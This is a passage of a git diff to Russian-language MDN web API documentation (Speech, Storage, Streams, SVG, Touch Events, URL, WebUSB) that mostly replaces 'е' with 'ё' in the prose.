            Вызывается когда возвращает результат — слово или фраза были распознаны положительно, и это было передано обратно в приложение.
            
  
            {{domxref("SpeechRecognition.onsoundstart")}}
            
@@ -75,9 +75,9 @@ translation_of: Web/API/SpeechRecognition
 
 
            Примеры
            
 
-
            В нашем простом примере Speech color changer , мы создаем новый объект экземпляра SpeechRecognition используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового  {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.
            
+
            В нашем простом примере Speech color changer , мы создаём новый объект экземпляра SpeechRecognition используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового  {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.
            
 
-
            После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло событие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесен из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.
            
+
            После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло событие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесён из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.
            
 
 
            var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
 var recognition = new SpeechRecognition();
@@ -199,7 +199,7 @@ recognition.onresult = function(event) {
 
 
            Firefox OS разрешения
            
 
-
            Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своем manifest:
            
+
            Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своём manifest:
            
 
 
            "permissions": {
   "audio-capture" : {
diff --git a/files/ru/web/api/speechsynthesisutterance/index.html b/files/ru/web/api/speechsynthesisutterance/index.html
index 94c0d175d6..750e34d8f5 100644
--- a/files/ru/web/api/speechsynthesisutterance/index.html
+++ b/files/ru/web/api/speechsynthesisutterance/index.html
@@ -16,7 +16,7 @@ translation_of: Web/API/SpeechSynthesisUtterance
 
 
            Свойства
            
 
-
            SpeechSynthesisUtterance еще наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.
            
+
            SpeechSynthesisUtterance ещё наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.
            
 
 
            
  
            {{domxref("SpeechSynthesisUtterance.lang")}}
            
@@ -37,13 +37,13 @@ translation_of: Web/API/SpeechSynthesisUtterance
 
 
            
  
            {{domxref("SpeechSynthesisUtterance.onboundary")}}
            
- 
            Срабатывает, когда произнесенное высказывание достигает границы слова или предложения.
            
+ 
            Срабатывает, когда произнесённое высказывание достигает границы слова или предложения.
            
  
            {{domxref("SpeechSynthesisUtterance.onend")}}
            
  
            Срабатывает, когда произнесение произнесено.
            
  
            {{domxref("SpeechSynthesisUtterance.onerror")}}
            
  
            Срабатывает, когда возникает ошибка, которая препятствует успешному произнесению высказывания.
            
  
            {{domxref("SpeechSynthesisUtterance.onmark")}}
            
- 
            Срабатывает, когда произнесенное высказывание достигает названного тега метки «SSML».
            
+ 
            Срабатывает, когда произнесённое высказывание достигает названного тега метки «SSML».
            
  
            {{domxref("SpeechSynthesisUtterance.onpause")}}
            
  
            Срабатывает, когда высказывание приостановлено.
            
  
            {{domxref("SpeechSynthesisUtterance.onresume")}}
            
diff --git a/files/ru/web/api/storage/clear/index.html b/files/ru/web/api/storage/clear/index.html
index ca829dae1b..869995f394 100644
--- a/files/ru/web/api/storage/clear/index.html
+++ b/files/ru/web/api/storage/clear/index.html
@@ -21,7 +21,7 @@ translation_of: Web/API/Storage/clear
 
 
            Пример
            
 
-
            Следующая функция создает 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода clear().
            
+
            Следующая функция создаёт 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода clear().
            
 
 
            function populateStorage() {
   localStorage.setItem('bgcolor', 'red');
@@ -110,7 +110,7 @@ translation_of: Web/API/Storage/clear
 
 
 
-
            Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.
            
+
            Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.
            
 
 
            
 
            Примечание: Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места.
            
diff --git a/files/ru/web/api/storage/getitem/index.html b/files/ru/web/api/storage/getitem/index.html
index cc066d8334..12a4985508 100644
--- a/files/ru/web/api/storage/getitem/index.html
+++ b/files/ru/web/api/storage/getitem/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Storage/getItem
 ---
 
            {{APIRef("Web Storage API")}}
            
 
-
            Если в метод getItem() интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернет значение, лежащее в хранилище по указанному ключу.
            
+
            Если в метод getItem() интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернёт значение, лежащее в хранилище по указанному ключу.
            
 
 
            Синтаксис
            
 
@@ -120,7 +120,7 @@ translation_of: Web/API/Storage/getItem
 
 
            
 
-
            Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.
            
+
            Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.
            
 
 
            
 
            Примечание: Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места
            
diff --git a/files/ru/web/api/storage/key/index.html b/files/ru/web/api/storage/key/index.html
index f8ff0d97b5..7accb735a9 100644
--- a/files/ru/web/api/storage/key/index.html
+++ b/files/ru/web/api/storage/key/index.html
@@ -117,7 +117,7 @@ translation_of: Web/API/Storage/key
 
 
            
 
-
            Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь вы найдете подробное описание объема хранилищ для разных браузеров.
            
+
            Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь вы найдёте подробное описание объёма хранилищ для разных браузеров.
            
 
 
            
 
            Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть случайно  очищена по требованию OS, обычно это происходит, когда мало доступного места.
            
diff --git a/files/ru/web/api/storage/length/index.html b/files/ru/web/api/storage/length/index.html
index 559673f403..98f6ea61aa 100644
--- a/files/ru/web/api/storage/length/index.html
+++ b/files/ru/web/api/storage/length/index.html
@@ -111,7 +111,7 @@ translation_of: Web/API/Storage/length
 
 
            
 
-
            Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.
            
+
            Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.
            
 
 
            
 
            Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.
            
diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html
index 12fbd2c7a4..e0767fa6a8 100644
--- a/files/ru/web/api/storage/removeitem/index.html
+++ b/files/ru/web/api/storage/removeitem/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Storage/removeItem
 ---
 
            {{APIRef("Web Storage API")}}
            
 
-
            Если методу removeItem() интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удален элемент с указанным ключом. 
            
+
            Если методу removeItem() интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удалён элемент с указанным ключом. 
            
 
 
            Синтаксис
            
 
@@ -28,7 +28,7 @@ translation_of: Web/API/Storage/removeItem
 
 
            Пример
            
 
-
            Следующая функция создает три элемента внутри локального хранилища и потом удаляет элемент с ключом image.
            
+
            Следующая функция создаёт три элемента внутри локального хранилища и потом удаляет элемент с ключом image.
            
 
 
            function populateStorage() {
   localStorage.setItem('bgcolor', 'red');
diff --git a/files/ru/web/api/storage/setitem/index.html b/files/ru/web/api/storage/setitem/index.html
index fe3540e3d6..75eb11453e 100644
--- a/files/ru/web/api/storage/setitem/index.html
+++ b/files/ru/web/api/storage/setitem/index.html
@@ -32,7 +32,7 @@ translation_of: Web/API/Storage/setItem
 
 
            Пример
            
 
-
            Следующая функция создает три элемента с данными в хранилище.
            
+
            Следующая функция создаёт три элемента с данными в хранилище.
            
 
 
            function populateStorage() {
   localStorage.setItem('bgcolor', 'red');
@@ -119,7 +119,7 @@ translation_of: Web/API/Storage/setItem
 
 
            
 
-
            Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.
            
+
            Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.
            
 
 
            
 
            Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.
            
diff --git a/files/ru/web/api/storagemanager/index.html b/files/ru/web/api/storagemanager/index.html
index c28ba798a3..126c659604 100644
--- a/files/ru/web/api/storagemanager/index.html
+++ b/files/ru/web/api/storagemanager/index.html
@@ -16,7 +16,7 @@ translation_of: Web/API/StorageManager
 ---
 
            {{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}
            
 
-
            StorageManager является частью Storage API и предоставляет интерфейс для управления правами на хранение данных и для получения объема данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.
            
+
            StorageManager является частью Storage API и предоставляет интерфейс для управления правами на хранение данных и для получения объёма данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.
            
 
 
            Методы
            
 
diff --git a/files/ru/web/api/streams_api/index.html b/files/ru/web/api/streams_api/index.html
index 777342b3bd..3ed4fc27ae 100644
--- a/files/ru/web/api/streams_api/index.html
+++ b/files/ru/web/api/streams_api/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/Streams_API
 
 
            Потоковая передача данных предполагает разбивку ресурса, который вы хотите получить через сеть, на мелкие кусочки и затем их обработку часть за частью. Это то, что браузеры делают в любом случае получения ассетов, чтобы показать их на страницах — видео буфер и другие ресурсы доступные для воспроизведения, и иногда это заметно на изображениях, загружающихся частями.
            
 
-
            Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведен к необходимому формату и только потом работать с файлом после его полной загрузки.
            
+
            Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведён к необходимому формату и только потом работать с файлом после его полной загрузки.
            
 
 
            С помощью потоков доступных в JavaScript меняется все — вы можете начать обрабатывать данные бит за битом как только данные появляются на стороне клиента, без необходимости генерировать буфер, строку или какой либо объект из потока.
            
 
@@ -19,7 +19,7 @@ translation_of: Web/API/Streams_API
 
 
            Но это не все преимущества — вы можете отловить процессы старта и завершения потока, связывать потоки в цепочки, обрабатывать ошибки или прерывать их если это необходимо, реагировать на скорость с которой поток считывается.
            
 
-
            Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращенного успешным fetch запросом может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помощью {{domxref("ReadableStream.cancel()")}}, и тп.
            
+
            Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращённого успешным fetch запросом может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помощью {{domxref("ReadableStream.cancel()")}}, и тп.
            
 
 
            Более сложные примеры задействуют создание ваших собственных  потоков с помощью конструктора {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, например чтобы обработать данные внутри service worker.
            
 
@@ -46,11 +46,11 @@ translation_of: Web/API/Streams_API
 
 
            
  
            {{domxref("WritableStream")}}
            
- 
            Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идет вместе со встроенными методами контроля обратного потока и созданием очередей.
            
+ 
            Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идёт вместе со встроенными методами контроля обратного потока и созданием очередей.
            
  
            {{domxref("WritableStreamDefaultWriter")}}
            
  
            Представляет запись потока по умолчанию, которая может использоваться для записи фрагментов данных в записываемый поток.
            
  
            {{domxref("WritableStreamDefaultController")}}
            
- 
            Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании WritableStream, создается также соответствующий экземпляр WritableStreamDefaultController.
            
+ 
            Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании WritableStream, создаётся также соответствующий экземпляр WritableStreamDefaultController.
            
 
            
 
 
            Дополнительные API и операции по работе с потоками
            
@@ -59,7 +59,7 @@ translation_of: Web/API/Streams_API
  
            {{domxref("ByteLengthQueuingStrategy")}}
            
  
            Предоставляет встроенную стратегию длины байт-очереди, которая может быть использована при построении потоков.
            
  
            {{domxref("CountQueuingStrategy")}}
            
- 
            Предоставляет встроенную стратегию организации очередей подсчета чанков, которая может использоваться при построении потоков.
            
+ 
            Предоставляет встроенную стратегию организации очередей подсчёта чанков, которая может использоваться при построении потоков.
            
 
            
 
 
            Дополнения к другим API
            
@@ -68,7 +68,7 @@ translation_of: Web/API/Streams_API
  
            {{domxref("Request")}}
            
  
            При создании нового объекта типа Request, вы можете добавить {{domxref("ReadableStream")}} в свойство body его словаря RequestInit.  Этот объект типа Request может быть отправлен в  {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, чтобы начать загрузку потока.
            
  
            {{domxref("Body")}}
            
- 
            Ответ {{domxref("Body")}} возвращенный успешному fetch запросу вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикрепленного к нему и тп.
            
+ 
            Ответ {{domxref("Body")}} возвращённый успешному fetch запросу вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикреплённого к нему и тп.
            
 
            
 
 
            Интерфейсы в дополнение к ByteStream
            
diff --git a/files/ru/web/api/svgaelement/index.html b/files/ru/web/api/svgaelement/index.html
index 7bd391a9ff..16d0806808 100644
--- a/files/ru/web/api/svgaelement/index.html
+++ b/files/ru/web/api/svgaelement/index.html
@@ -23,7 +23,7 @@ translation_of: Web/API/SVGAElement
  
            {{domxref("SVGAElement.hreflang")}}
            
  
            Является {{domxref("DOMString")}}, который отражает атрибут hreflang, указывающий язык связанного ресурса.
            
  
            {{domxref("SVGAElement.ping")}}
            
- 
            Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделенных пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом PING будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.
            
+ 
            Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделённых пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом PING будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.
            
  
            {{domxref("SVGAElement.referrerPolicy")}}
            
  
            См. {{domxref("HTMLAnchorElement.referrerPolicy")}}.
            
  
            {{domxref("SVGAElement.rel")}}
            
diff --git a/files/ru/web/api/svgaelement/target/index.html b/files/ru/web/api/svgaelement/target/index.html
index d8e3ba1aa2..4af2cede02 100644
--- a/files/ru/web/api/svgaelement/target/index.html
+++ b/files/ru/web/api/svgaelement/target/index.html
@@ -48,7 +48,7 @@ linkRef.target ='_blank';
 
 
            Browser compatibility
            
 
-
+
 
 
            {{Compat("api.SVGAElement.target")}}
            
 
diff --git a/files/ru/web/api/svggraphicselement/index.html b/files/ru/web/api/svggraphicselement/index.html
index 86f9e76035..eca4dd9c22 100644
--- a/files/ru/web/api/svggraphicselement/index.html
+++ b/files/ru/web/api/svggraphicselement/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/SVGGraphicsElement
 
            {{InheritanceDiagram(600, 120)}}
            
 
 
            
-
            Note: Этот интерфейс был введен в SVG 2 и заменяет интерфейсы  {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.
            
+
            Note: Этот интерфейс был введён в SVG 2 и заменяет интерфейсы  {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.
            
 
            
 
 
            Свойства
            
diff --git a/files/ru/web/api/svgtextcontentelement/index.html b/files/ru/web/api/svgtextcontentelement/index.html
index 384958a557..8a7c2f356f 100644
--- a/files/ru/web/api/svgtextcontentelement/index.html
+++ b/files/ru/web/api/svgtextcontentelement/index.html
@@ -93,7 +93,7 @@ translation_of: Web/API/SVGTextContentElement
   
    {{SpecName("SVG2", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}
    {{Spec2("SVG2")}}
-   Измененное наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и getStartPositionOfChar() удаленных реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и getEndPositionOfChar(), чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.
+   Изменённое наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и getStartPositionOfChar() удалённых реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и getEndPositionOfChar(), чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.
   
   
    {{SpecName("SVG1.1", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}
@@ -105,6 +105,6 @@ translation_of: Web/API/SVGTextContentElement
 
 
            Совместимость с браузером
            
 
-
+
 
 
            {{Compat("api.SVGTextContentElement")}}
            
diff --git a/files/ru/web/api/svgtextelement/index.html b/files/ru/web/api/svgtextelement/index.html
index f1e27d56a3..2ccbf4d576 100644
--- a/files/ru/web/api/svgtextelement/index.html
+++ b/files/ru/web/api/svgtextelement/index.html
@@ -34,7 +34,7 @@ translation_of: Web/API/SVGTextElement
    {{SpecName("SVG2", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}
    {{Spec2("SVG2")}}
    
-    
            Удален реализованный
            
+    
            Удалён реализованный
            
      интерфейс {{domxref("SVGTransformable")}}.
            
    
   
@@ -49,7 +49,7 @@ translation_of: Web/API/SVGTextElement
 
            Совместимость с браузером
            
 
 
            
-
+
 
 
            {{Compat("api.SVGTextElement")}}
            
 
            
diff --git a/files/ru/web/api/text/index.html b/files/ru/web/api/text/index.html
index f8e5f25f0e..625848211b 100644
--- a/files/ru/web/api/text/index.html
+++ b/files/ru/web/api/text/index.html
@@ -32,7 +32,7 @@ translation_of: Web/API/Text
  
            Возвращает флаг {{domxref("Boolean")}}, сигнализирующий, содержит ли (или нет) text node только пробел(ы).
            
  
  
            {{domxref("Text.wholeText")}} {{readonlyInline}}
            
- 
            Возвращает {{domxref("DOMString")}}, который содержит все Text nodes логически примыкающие к этому {{domxref("Node")}}, соединенные как в документе.
            
+ 
            Возвращает {{domxref("DOMString")}}, который содержит все Text nodes логически примыкающие к этому {{domxref("Node")}}, соединённые как в документе.
            
  
            {{domxref("Text.assignedSlot")}} {{readonlyinline}}
            
  
            Возвращает объект {{domxref("HTMLSlotElement")}}, связанный с этим элементом.
            
 
@@ -76,7 +76,7 @@ translation_of: Web/API/Text
    {{SpecName('DOM WHATWG', '#text', 'Text')}}
    {{Spec2('DOM WHATWG')}}
    Удалено свойство isElementContentWhitespace.
            
-    Удален метод replaceWholeText().
            
+    Удалён метод replaceWholeText().
            
     Добавлен конструктор Text().
            
     Добавлено свойство assignedSlot.
   
diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html
index 0784963a41..fd86517821 100644
--- a/files/ru/web/api/touch_events/index.html
+++ b/files/ru/web/api/touch_events/index.html
@@ -93,7 +93,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
            
 }
 
            
 
-
            Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список измененных точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.
            
+
            Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список изменённых точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.
            
 
 
            После этого мы перебираем все объекты {{domxref("Touch")}} в списке, помещая их в массив активных точек касания и рисуя начальную точку в виде маленького кружка; мы используем линию толщиной 4 пикселя, поэтому получим аккуратный круг радиусом 4 пикселя.
            
 
@@ -131,7 +131,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
            } -

            Функция также перебирает измененные касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путем отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остается неизменным на протяжении всего времени контакта пальца с экраном.

            +

            Функция также перебирает изменённые касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путём отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остаётся неизменным на протяжении всего времени контакта пальца с экраном.

            Это позволяет нам получать координаты предыдущей позиции каждого касания и использовать подходящий метод "canvas-контекста" для рисования отрезка линии, соединяющего начало и конец.

            @@ -139,7 +139,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>

            Обработка завершения касания

            -

            Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию handleEnd(), которая представлена ниже. Ее задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.

            +

            Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию handleEnd(), которая представлена ниже. Её задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.

            function handleEnd(evt) {
   evt.preventDefault();
@@ -167,9 +167,9 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
            } -

            Она очень похожа на предыдущую функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем  Array.splice(), мы просто удаляем старую запись из текущего списка касаний без добавления обновленной информации. В результате мы прекращаем отслеживать эту точку касания.

            +

            Она очень похожа на предыдущую функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем  Array.splice(), мы просто удаляем старую запись из текущего списка касаний без добавления обновлённой информации. В результате мы прекращаем отслеживать эту точку касания.

            -

            Обработка отмененных касаний

            +

            Обработка отменённых касаний

            Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию handleCancel(), приведённую ниже.

            @@ -330,8 +330,8 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre>

            Firefox, события касаний и многопроцессность (e10s)

            -

            В Firefox события касания отключены, когда отключен e10s (электролиз; многопроцессорный Firefox). e10s включен по умолчанию в Firefox, но может в конечном итоге отключаться в определенных ситуациях, например, когда установлены определенные инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.

            +

            В Firefox события касания отключены, когда отключён e10s (электролиз; многопроцессорный Firefox). e10s включён по умолчанию в Firefox, но может в конечном итоге отключаться в определённых ситуациях, например, когда установлены определённые инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.

            -

            Вы можете проверить, отключен ли e10s, перейдя в about:support и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включен, 0/1 означает отключен.

            +

            Вы можете проверить, отключён ли e10s, перейдя в about:support и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включён, 0/1 означает отключен.

            -

            Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к about:config и создать новое логическое предпочтение browser.tabs.remote.force-enable. Установите значение true, перезапустите браузер, и e10s будет включен независимо от любых других настроек.

            +

            Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к about:config и создать новое логическое предпочтение browser.tabs.remote.force-enable. Установите значение true, перезапустите браузер, и e10s будет включён независимо от любых других настроек.

            diff --git a/files/ru/web/api/touchevent/index.html b/files/ru/web/api/touchevent/index.html index 2f5fa25eee..d141c8daa5 100644 --- a/files/ru/web/api/touchevent/index.html +++ b/files/ru/web/api/touchevent/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/TouchEvent
            {{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}
            -
            Создает экземпляр TouchEvent.
            +
            Создаёт экземпляр TouchEvent.

            Свойства

            @@ -65,7 +65,7 @@ translation_of: Web/API/TouchEvent

            Цель события - тот же экземпляр {{ domxref("Element") }}, что и для события touchstart с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.

            -

            Точки касания, удаленные с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут changedTouches события.

            +

            Точки касания, удалённые с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут changedTouches события.

            {{domxref("Element/touchmove_event", "touchmove")}}

            diff --git a/files/ru/web/api/url/createobjecturl/index.html b/files/ru/web/api/url/createobjecturl/index.html index bff6b425d5..01201cc4b0 100644 --- a/files/ru/web/api/url/createobjecturl/index.html +++ b/files/ru/web/api/url/createobjecturl/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/URL/createObjectURL

            Определение

            -

            URL.createObjectURL() - статический метод, который создает {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.

            +

            URL.createObjectURL() - статический метод, который создаёт {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.

            {{AvailableInWorkers}}

            @@ -23,7 +23,7 @@ translation_of: Web/API/URL/createObjectURL
            -
            Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создается URL объект.
            +
            Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создаётся URL объект.
              @@ -35,7 +35,7 @@ translation_of: Web/API/URL/createObjectURL

              Заметки

              -

              При каждом вызове createObjectURL(), создается новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.

              +

              При каждом вызове createObjectURL(), создаётся новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.

              Спецификации

              diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html index bb162ad242..5ec208774e 100644 --- a/files/ru/web/api/usb/requestdevice/index.html +++ b/files/ru/web/api/usb/requestdevice/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/USB/requestDevice

              Этот пример запрашивает любое из перечисленных USB-устройств. Обратите внимание, указаны два разных PID. Оба присутствуют в списке фильтров для requestDevice(). При этом браузер покажет окно для выбора и подтверждения доступа к устройству. Только выбранное пользователем устройство будет передано в then().

              -

              Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID 0xa800, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и еще одно, совпадающее со вторым, будут показаны все три устройства.

              +

